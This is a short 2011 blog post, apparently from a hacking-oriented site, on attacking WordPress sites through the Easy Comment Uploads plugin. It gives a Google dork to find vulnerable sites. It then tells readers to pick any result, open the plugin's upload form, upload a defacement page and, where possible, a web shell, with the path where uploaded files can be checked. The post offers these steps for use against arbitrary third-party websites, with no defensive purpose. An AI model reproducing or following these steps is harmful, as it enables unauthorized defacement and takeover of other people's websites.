Cpanel Hosting
Showing posts with label wordpress plugin hack. Show all posts
Showing posts with label wordpress plugin hack. Show all posts

Thursday, 27 October 2011

WordPress Easy Comment Upload Vunerablity :

 Google Dork :
"inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php" 



Open Google and enter the  dork  Given, 
Now select any website 

and goto this url site.com/wp-content/plugins/easy-comment-uploads/upload-form.php

You'll Got Upload Option here :)

Now Upload Your Deface page ....

and check it here site.com/wp-content/uploads/2011/10/yourfilename.

Note: Different website support different option to upload like txt,jpg, jpeg .
            you can also upload your shell in some website .. :-)